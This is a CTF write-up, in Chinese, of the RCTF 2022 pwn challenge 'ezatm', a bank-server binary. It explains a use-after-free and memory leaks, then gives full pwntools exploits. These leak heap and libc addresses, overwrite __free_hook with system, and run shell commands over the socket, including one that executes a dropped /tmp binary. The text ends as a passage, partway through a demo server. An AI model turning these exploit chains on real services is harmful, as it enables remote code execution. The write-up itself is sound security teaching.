RCTF 2022 PWN ezatm

题目信息

题目附件:_media_file_task_ed7e3e0a-e52b-4bc1-8a77-12923072e4a1.zip

题目描述:It is illegal to rob a bank, even a ATM. use “./client 139.9.242.36 4445” to run .or “./client 190.92.237.200 4445”

本题是一个server-client的题型,首先想到我们利用的第一步一定是伪造一个client,而不是使用其提供的client来交互。

server端可以看作一个银行,client未登录到账户时,有4个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if ( !memcmp("login", s2, 5uLL) )
{
v4 = sub_1346(&unk_203178, &qword_203170);
}
else if ( !memcmp("new_account", s2, 0xBuLL) )// 1
{
v4 = sub_1483(&unk_203178, &qword_203170, dword_203198);
}
else if ( !memcmp("exit_system", s2, 0xBuLL) )
{
return 0LL;
}
if ( !memcmp("stat_query", s2, 0xAuLL) )
sub_1DB1((__int64)&v4);

当client登录进某个账户后,有8个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if ( !memcmp("query", s2, 5uLL) )
{
v4 = sub_1731();
}
else if ( !memcmp("transfer_account", s2, 0x10uLL) )
{
v4 = sub_1764(&unk_203178);
}
else if ( !memcmp("withdraw_money", s2, 0xEuLL) )
{
v4 = sub_1A99();
}
else if ( !memcmp("deposit_money", s2, 0xDuLL) )
{
v4 = sub_1BEE((unsigned int)dword_203198);
}
else if ( !memcmp("exit_account", s2, 0xCuLL) )
{
v4 = sub_1C8A();
}
else if ( !memcmp("cancellation", s2, 0xCuLL) )
{
v4 = sub_1C9F();
}
else if ( !memcmp("update_pwd", s2, 0xAuLL) )
{
v4 = sub_197D();
}
else if ( !memcmp("VIP_service", s2, 0xBuLL) )
{
sub_1D79();
}

创建一个账户的操作,其背后逻辑是:申请一块0x30大小的堆,然后将用户密码,用户名和用户余额信息存入堆中。最后将这个堆的地址存放到bss段_QWORD qword_2030E0[10]数组中,最多容纳10个账户。结构如下图所示

image-20221214205239030

漏洞点

UAF

cancellation分支中,free((void *)qword_2030E0[dword_203010]);后,没有将qword_2030E0[dword_203010]置NULL,导致后续操作能访问已释放的堆空间。

query()信息泄露

该函数每次都会向客户端发送0x84的数据,当我们查询heap信息时,可以泄露下一个heap的信息。

利用

复用client的creatuuid函数,通过server检查

(1)拷贝IDA中client相关函数的伪代码,编译生成一个lib库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// test.c
// gcc -fPIC -shared -o libtest.so test.c
char int_2_char(int a)
{
char result;

if ( (unsigned int)a <= 9 )
return a + 48;
switch ( a )
{
case 10:
result = 97;
break;
case 11:
result = 98;
break;
case 12:
result = 99;
break;
case 13:
result = 100;
break;
case 14:
result = 101;
break;
default:
result = 48;
break;
}
return result;
}

int getrand()
{
return rand() % 15;
}

char* creatuuid(char *uuid, unsigned int value)
{
int v1; // ecx
char v2; // al
int i; // [rsp+1Ch] [rbp-14h]

srand(value);
for ( i = 0; i <= 29; ++i )
{
if ( uuid[i] != 0x34 && uuid[i] != 0x2D )
{
if ( uuid[i] == 0x78 )
{
v1 = getrand();
uuid[i] = int_2_char(v1);
}
else
{
v2 = getrand();
uuid[i] = int_2_char(v2 & 3 | 8);
}
}
}
return uuid;
}

(2)使用python的ctypes模块,加载libtest.so库,并调用creatuuid()函数

1
2
3
4
5
6
7
8
9
10
11
12
def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.create_string_buffer(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
sendvalue = uuid_str.value
io.send(uuid_str.value)
io.recv()
return uuid_str.value

利用tcache特性泄露堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import random
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("127.0.0.1",4445)
# io = remote("190.92.237.200",4445)
io = remote("139.9.242.36",4445)

def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.c_char_p(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
sendvalue = uuid_str.value
io.send(uuid_str.value)
io.recv()
return uuid_str.value

def new_account(password,account_id,money):
data1 = b""
data1 += b"new_account".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += p32(money)
io.sendline(data1)
return io.recv()

def query():
data1 = b""
data1 += b"query".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def exit_account():
data1 = b""
data1 += b"exit_account".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
# return io.recv(timeout=1)

def login(password,account_id):
data1 = b""
data1 += b"login".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def cancellation(password):
data1 = b""
data1 += b"cancellation".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def update_pwd(new_passwd,old_passwd):
data1 = b""
data1 += b"update_pwd".ljust(16,b"\x00")
data1 += new_passwd.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
io.recv()
data2 = b""
data2 += b"update_pwd".ljust(16,b"\x00")
data2 += old_passwd.ljust(8,b"\x00")
data2 += b"\x00".ljust(32,b"\x00")
data2 += b"\x00".ljust(4,b"\x00")
io.sendline(data2)
return io.recv()

uuid_str = init_func()
print(uuid_str)

new_account(b"1"*8,b"a"*8,1000)
exit_account()
new_account(b"2"*8,b"b"*8,1000)
exit_account()
new_account(b"3"*8,b"c"*8,1000)
exit_account()
new_account(b"4"*8,b"d"*8,1000)
exit_account()

login(b"3"*8,b"c"*8)
cancellation(b"3"*8)
login(b"2"*8,b"b"*8)
cancellation(b"2"*8)
login(b"1"*8,b"a"*8)
leak_info = query()
exit_account()
heap_addr3 = leak_info[0x44:0x4c]
tcache_flag = leak_info[0x4c:0x54]
print(b"heap_addr3 = ", hex(u64(heap_addr3)))
print(b"tcache_flag = ", hex(u64(tcache_flag)))

io.interactive()

利用unsorted bin泄露libc

tcache的管理结构在堆头位置,将对应位置成0xf,下次free该大小堆块时将进入fastbin(0x20~0x80)或unsorted bin。第一个进入unsorted bin的堆块,其fd和bk都将存放main_arena中top结构体的地址。再利用UAF就能获得libc地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import random
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("127.0.0.1",4445)
# io = remote("190.92.237.200",4445)
io = remote("139.9.242.36",4445)

def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.c_char_p(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
sendvalue = uuid_str.value
io.send(uuid_str.value)
io.recv()
return uuid_str.value

def new_account(password,account_id,money):
data1 = b""
data1 += b"new_account".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += p32(money)
io.sendline(data1)
return io.recv()

def query():
data1 = b""
data1 += b"query".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def exit_account():
data1 = b""
data1 += b"exit_account".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
# return io.recv(timeout=1)

def login(password,account_id):
data1 = b""
data1 += b"login".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def cancellation(password):
data1 = b""
data1 += b"cancellation".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def update_pwd(new_passwd,old_passwd):
data1 = b""
data1 += b"update_pwd".ljust(16,b"\x00")
data1 += new_passwd.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
io.recv()
data2 = b""
data2 += b"update_pwd".ljust(16,b"\x00")
data2 += old_passwd.ljust(8,b"\x00")
data2 += b"\x00".ljust(32,b"\x00")
data2 += b"\x00".ljust(4,b"\x00")
io.sendline(data2)
return io.recv()

uuid_str = init_func()
print(uuid_str)

new_account(b"1"*8,b"a"*8,1000)
exit_account()
new_account(b"2"*8,b"b"*8,1000)
exit_account()
new_account(b"3"*8,b"c"*8,1000)
exit_account()
new_account(b"4"*8,b"d"*8,1000)
exit_account()
new_account(b"5"*8,b"e"*8,1000)
exit_account()
new_account(b"6"*8,b"f"*8,1000)
exit_account()
new_account(b"7"*8,b"g"*8,1000)
exit_account()
new_account(b"8"*8,b"h"*8,1000)
exit_account()

# local
# heap3_addr = 0x55a284a162f0
# tcache_flag = 0x55a284a15010

# remote
heap3_addr = 0x55f6e10b56f0
tcache_flag = 0x55f6e10b5010

heap2_size_addr = heap3_addr - 0x48
heap9_addr = heap3_addr + 0x40*6
heap8_addr = heap3_addr + 0x40*5
heap7_addr = heap3_addr + 0x40*4
patch_tcache = tcache_flag + 0x8

######## write 2nd heap's size to 0x101
login(b"8"*8,b"h"*8)
cancellation(b"8"*8)

login(b"7"*8,b"g"*8)
cancellation(b"7"*8) # heap7 in tcache

login(p64(heap8_addr),p64(tcache_flag))
update_pwd(p64(heap2_size_addr),p64(heap8_addr)) # heap7 in tcache [heap2_size_addr,tcache_flag]
exit_account()

new_account(b"7"*8,b"7h"*4,1000) # bss9 <- heap7
exit_account()

new_account(p32(0x101),b"x"*32,1000) # write complete , in bss7
exit_account()

######## write tcache manage block, make 0x101 chain full
login(b"7"*8,b"7h"*4)
cancellation(b"7"*8)

login(b"6"*8,b"f"*8)
cancellation(b"6"*8) # heap6 in tcache

login(p64(heap7_addr),p64(tcache_flag)) # heap6 in tcache []
update_pwd(p64(patch_tcache),p64(heap7_addr))
exit_account()

new_account(b"6"*8,b"6f"*4,1000)
exit_account()

new_account(p64(0xffffffffffffffff),p64(0xffffffffffffffff),1000)
exit_account()

######## leak libc
login(b"x"*8,b"x"*24+p64(0x1000003e8)) #login heap2,and free. to unsorted bin
cancellation(b"x"*8)

login(b"1"*8,b"a"*8) #login heap1,and leak libc
recv_info = query()
libc_addr = u64(recv_info[0x44:0x4c])
libc_base = libc_addr - 0x3ebca0
print("[+]: ",hex(libc_base))
io.interactive()

利用任意地址写改函数指针,执行cat ./flag >&4

__free_hook 地址处的值为system地址,将命令放入某个堆块中,free该堆块时,就能执行命令。这里利用本题socket的特性,复用fd4,可以通过cat将flag重定向到socket连接中,client端收到flag。

image-20221214211717041

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

import random
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("127.0.0.1",4445)
# io = remote("190.92.237.200",4444)
io = remote("139.9.242.36",4445)

def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.c_char_p(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
sendvalue = uuid_str.value
io.send(uuid_str.value)
io.recv()
return uuid_str.value

def new_account_2(password,account_id,money):
data1 = b""
data1 += b"new_account".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += money.ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def query():
data1 = b""
data1 += b"query".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def exit_account():
data1 = b""
data1 += b"exit_account".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
# return io.recv(timeout=1)

def login(password,account_id):
data1 = b""
data1 += b"login".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def cancellation(password):
data1 = b""
data1 += b"cancellation".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def update_pwd(new_passwd,old_passwd):
data1 = b""
data1 += b"update_pwd".ljust(16,b"\x00")
data1 += new_passwd.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
io.recv()
data2 = b""
data2 += b"update_pwd".ljust(16,b"\x00")
data2 += old_passwd.ljust(8,b"\x00")
data2 += b"\x00".ljust(32,b"\x00")
data2 += b"\x00".ljust(4,b"\x00")
io.sendline(data2)
return io.recv()

uuid_str = init_func()
print(uuid_str)

# local
# heap3_addr = 0x55c008d3e2f0
# tcache_flag = 0x55c008d3d010
# libc_base = 0x7f61e853e000
# remote
heap3_addr = 0x55f6e10b56f0
tcache_flag = 0x55f6e10b5010
libc_base = 0x7fb05441f000

heap1_addr = heap3_addr - 0x40*2
heap2_addr = heap3_addr - 0x40
heap4_addr = heap3_addr + 0x40
heap5_addr = heap3_addr + 0x40*2

target_addr2 = libc_base + 0x3ed8e8 # __free_hook
target_data2 = p64(libc_base + 0x4f420).ljust(0x2c,b"\x00") # system

cmd = b'chmod +x /tmp/x ; /tmp/x'.ljust(0x2c,b"\x00")

new_account_2(cmd[0:8],cmd[8:40],cmd[40:44])
exit_account()
new_account_2(b"2"*8,b"b"*9,p32(1000))
exit_account()
new_account_2(b"3"*8,b"c"*9,p32(1000))
exit_account()
new_account_2(b"4"*8,b"d"*9,p32(1000))
exit_account()
new_account_2(b"5"*8,b"e"*9,p32(1000))
exit_account()

########
login(b"2"*8,b"b"*9)
cancellation(b"2"*8)
login(b"3"*8,b"c"*9)
cancellation(b"3"*8)

login(p64(heap2_addr),p64(tcache_flag)+b"c")
update_pwd(p64(target_addr2),p64(heap2_addr)) # target addr
exit_account()

new_account_2(b"3"*8,b"c"*9,p32(1000))
exit_account()

new_account_2(target_data2[0:8],target_data2[8:40],target_data2[40:44]) # target data
exit_account()

login(cmd[0:8],cmd[8:40])
cancellation(cmd[0:8])

io.interactive()

完整利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
import random
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# ip = "127.0.0.1"
ip = "139.9.242.36"
port = 4445

io = None

def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.create_string_buffer(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
io.send(uuid_str.value)
io.recv()

def new_account(password,account_id,money):
data1 = b""
data1 += b"new_account".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += p32(money)
io.sendline(data1)
return io.recv()

def new_account_2(password,account_id,money):
data1 = b""
data1 += b"new_account".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += money.ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def query():
data1 = b""
data1 += b"query".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def exit_account():
data1 = b""
data1 += b"exit_account".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
# return io.recv(timeout=1)

def login(password,account_id):
data1 = b""
data1 += b"login".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += account_id.ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def cancellation(password):
data1 = b""
data1 += b"cancellation".ljust(16,b"\x00")
data1 += password.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()

def update_pwd(new_passwd,old_passwd):
data1 = b""
data1 += b"update_pwd".ljust(16,b"\x00")
data1 += new_passwd.ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
io.recv()
data2 = b""
data2 += b"update_pwd".ljust(16,b"\x00")
data2 += old_passwd.ljust(8,b"\x00")
data2 += b"\x00".ljust(32,b"\x00")
data2 += b"\x00".ljust(4,b"\x00")
io.sendline(data2)
return io.recv()

def leak_heap():
global io
io = remote(ip,port)
init_func()

new_account(b"1"*8,b"a"*8,1000)
exit_account()
new_account(b"2"*8,b"b"*8,1000)
exit_account()
new_account(b"3"*8,b"c"*8,1000)
exit_account()
new_account(b"4"*8,b"d"*8,1000)
exit_account()

login(b"3"*8,b"c"*8)
cancellation(b"3"*8)
login(b"2"*8,b"b"*8)
cancellation(b"2"*8)
login(b"1"*8,b"a"*8)
leak_info = query()
exit_account()
heap3_addr = u64(leak_info[0x44:0x4c])
tcache_flag = u64(leak_info[0x4c:0x54])
io.close()
return heap3_addr,tcache_flag

heap3_addr,tcache_flag = leak_heap()

def leak_libc():
global io
io = remote(ip,port)
init_func()

new_account(b"1"*8,b"a"*8,1000)
exit_account()
new_account(b"2"*8,b"b"*8,1000)
exit_account()
new_account(b"3"*8,b"c"*8,1000)
exit_account()
new_account(b"4"*8,b"d"*8,1000)
exit_account()
new_account(b"5"*8,b"e"*8,1000)
exit_account()
new_account(b"6"*8,b"f"*8,1000)
exit_account()
new_account(b"7"*8,b"g"*8,1000)
exit_account()
new_account(b"8"*8,b"h"*8,1000)
exit_account()

heap2_size_addr = heap3_addr - 0x48
heap9_addr = heap3_addr + 0x40*6
heap8_addr = heap3_addr + 0x40*5
heap7_addr = heap3_addr + 0x40*4
patch_tcache = tcache_flag + 0x8

########
login(b"8"*8,b"h"*8)
cancellation(b"8"*8)

login(b"7"*8,b"g"*8)
cancellation(b"7"*8) # heap7 in tcache

login(p64(heap8_addr),p64(tcache_flag))
update_pwd(p64(heap2_size_addr),p64(heap8_addr)) # heap7 in tcache [heap2_size_addr,tcache_flag]
exit_account()

new_account(b"7"*8,b"7h"*4,1000) # bss9 <- heap7
exit_account()

new_account(p32(0x101),b"x"*32,1000) # write complete , in bss7
exit_account()

########
login(b"7"*8,b"7h"*4)
cancellation(b"7"*8)

login(b"6"*8,b"f"*8)
cancellation(b"6"*8) # heap6 in tcache

login(p64(heap7_addr),p64(tcache_flag)) # heap6 in tcache []
update_pwd(p64(patch_tcache),p64(heap7_addr))
exit_account()

new_account(b"6"*8,b"6f"*4,1000)
exit_account()

new_account(p64(0xffffffffffffffff),p64(0xffffffffffffffff),1000)
exit_account()

login(b"x"*8,b"x"*24+p64(0x1000003e8)) #login heap2,and free
cancellation(b"x"*8)

login(b"1"*8,b"a"*8) #login heap1,and leak libc
recv_info = query()
libc_addr = u64(recv_info[0x44:0x4c])
libc_base = libc_addr - 0x3ebca0
io.close()
return libc_base

sleep(1)
libc_base = leak_libc()

print(b"[+] heap3_addr = ", hex(heap3_addr))
print(b"[+] tcache_flag = ", hex(tcache_flag))
print(b"[+] libc base : ",hex(libc_base))


def get_flag():
global io
io = remote(ip,port)
init_func()

heap1_addr = heap3_addr - 0x40*2
heap2_addr = heap3_addr - 0x40
heap4_addr = heap3_addr + 0x40
heap5_addr = heap3_addr + 0x40*2


target_addr2 = libc_base + 0x3ed8e8 # __free_hook

target_data2 = p64(libc_base + 0x4f420).ljust(0x2c,b"\x00")

cmd = b'cat ./flag >&4'.ljust(0x2c,b"\x00")

new_account_2(cmd[0:8],cmd[8:40],cmd[40:44])
exit_account()
new_account_2(b"2"*8,b"b"*9,p32(1000))
exit_account()
new_account_2(b"3"*8,b"c"*9,p32(1000))
exit_account()
new_account_2(b"4"*8,b"d"*9,p32(1000))
exit_account()
new_account_2(b"5"*8,b"e"*9,p32(1000))
exit_account()


########
login(b"2"*8,b"b"*9)
cancellation(b"2"*8)
login(b"3"*8,b"c"*9)
cancellation(b"3"*8)

login(p64(heap2_addr),p64(tcache_flag)+b"c")
update_pwd(p64(target_addr2),p64(heap2_addr)) # target addr
exit_account()

new_account_2(b"3"*8,b"c"*9,p32(1000))
exit_account()

new_account_2(target_data2[0:8],target_data2[8:40],target_data2[40:44]) # target data
exit_account()

login(cmd[0:8],cmd[8:40])
cancellation(cmd[0:8])

io.interactive()

get_flag()

image-20221213230746324

review

未发现的漏洞点

stat_query分支有一个栈信息泄露,比赛的时候未注意到

利用栈信息泄露,可以轻松获得程序基址及libc基址,以及一个栈地址。然后利用fastbin_reverse_into_tcache,达到任意地址写。将__free_hook处改成system的地址,再次free时控制流劫持。

利用stat_query泄露信息的代码如下,完整利用代码可参考wp:RCTF 2022 WriteUp By F61d - 公众号笨猪实验室

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import random
import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("127.0.0.1",4445)
# io = remote("190.92.237.200",4445)
io = remote("139.9.242.36",4445)

def init_func():
sd = u32(io.recv(4))
print("seed value: ",hex(sd))
clibrary = ctypes.CDLL("./libtest.so")
uuid_str = ctypes.c_char_p(b"yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
print("before: ",uuid_str.value)
clibrary.creatuuid(uuid_str,sd)
print("after: ",uuid_str.value)
sendvalue = uuid_str.value
io.send(uuid_str.value)
io.recv()
return uuid_str.value

def stat_query():
data1 = b""
data1 += b"stat_query".ljust(16,b"\x00")
data1 += b"\x00".ljust(8,b"\x00")
data1 += b"\x00".ljust(32,b"\x00")
data1 += b"\x00".ljust(4,b"\x00")
io.sendline(data1)
return io.recv()


uuid_str = init_func()

recv_str = stat_query()

prog_base = u64(recv_str[0x14:0x1c]) - 0x2130
libc_base = u64(recv_str[0x1c:0x24]) - 0x21c87
stack = u64(recv_str[0x2c:0x34])

print("prog base:",hex(prog_base))
print("libc base:",hex(libc_base))
print("stack:",hex(stack))

io.interactive()

另一种方式ROP+ORW

参考WP:[RCTF WriteUp By Nu1L.pdf](RCTF WriteUp By Nu1L.pdf)

exit_system分支退出时,不会关闭socket连接,按流程返回libc_start_main。而返回地址存在栈上,如下图0x007ffd4171c988处。利用UAF构造的任意地址写,可以在此处ROP,先实现一个read(4,0x007ffd4171c988,300),从client读入更多利用代码写入栈空间,并覆盖read函数的返回地址,当read函数返回时,再次控制流劫持。这次控制流劫持就去完成ORW,并将读取的flag内容通过fd4发送给client端。

image-20221214224605022

其他

子进程继承父进程所有fd

当父进程创建子进程时,子进程会自动继承父进程所有的fd描述符

以一个多进程tcp服务器为例,在客户端连接后,查看主进程及其子进程的fd关系。

参考 C语言网络编程-tcp服务器实现 中“多进程TCP服务器”的实现代码,在子处理进程中新增一条system命令,模拟pwn中控制流劫持后执行system时子子进程的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// server.c
// gcc server.c -o server
#include <stdio.h>
#include <arpa/inet.h>//inet_addr() sockaddr_in
#include <string.h>//bzero()
#include <sys/socket.h>//socket
#include <unistd.h>
#include <stdlib.h>//exit()
#include<sys/wait.h>//waitpid();

#define BUFFER_SIZE 1024

int main() {
char listen_addr_str[] = "0.0.0.0";
size_t listen_addr = inet_addr(listen_addr_str);
int port = 7777;
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t addr_size;
char buffer[BUFFER_SIZE];//缓冲区大小

int str_length;
pid_t pid;
int status = 0;//初始化状态

server_socket = socket(PF_INET, SOCK_STREAM, 0);//创建套接字
bzero(&server_addr, sizeof(server_addr));//初始化
server_addr.sin_family = INADDR_ANY;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = listen_addr;

if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr)) == -1) {
printf("绑定失败\n");
exit(1);
}
if (listen(server_socket, 5) == -1) {
printf("监听失败\n");
exit(1);
}

printf("创建tcp服务器成功\n");

while (1) {
addr_size = sizeof(client_addr);
client_socket = accept(server_socket, (struct sockaddr *) &client_addr, &addr_size);
printf("%d 连接成功\n", client_socket);
printf("[+] %d is socket() return fd\n",server_socket);

char msg[] = "恭喜你连接成功";
write(client_socket, msg, sizeof(msg));

pid = fork();
if (pid > 0) {
sleep(1);//父进程,进行下次循环,读取客户端连接事件
waitpid(-1, &status, WNOHANG | WUNTRACED | WCONTINUED);

if (WIFEXITED(status)) {
printf("status = %d\n", WEXITSTATUS(status));
}
if (WIFSIGNALED(status)) { //如果子进程是被信号结束了 ,则为真
printf("signal status = %d\n", WTERMSIG(status)); //R->T
}
if (WIFSTOPPED(status)) {
printf("stop sig num = %d\n", WSTOPSIG(status));
} //T->R
if (WIFCONTINUED(status)) {
printf("continue......\n");
}
} else if (pid == 0) {//子进程,进行阻塞式收发客户端数据

system("echo '[+] i am in system';sleep 1000");

while (1) {
memset(buffer, 0, sizeof(buffer));
str_length = read(client_socket, buffer, BUFFER_SIZE);
if (str_length == 0) //读取数据完毕关闭套接字
{
close(client_socket);
printf("连接已经关闭: %d \n", client_socket);
exit(1);
} else {
printf("%d 客户端发送数据:%s \n", client_socket, buffer);
write(client_socket, buffer, str_length);//发送数据
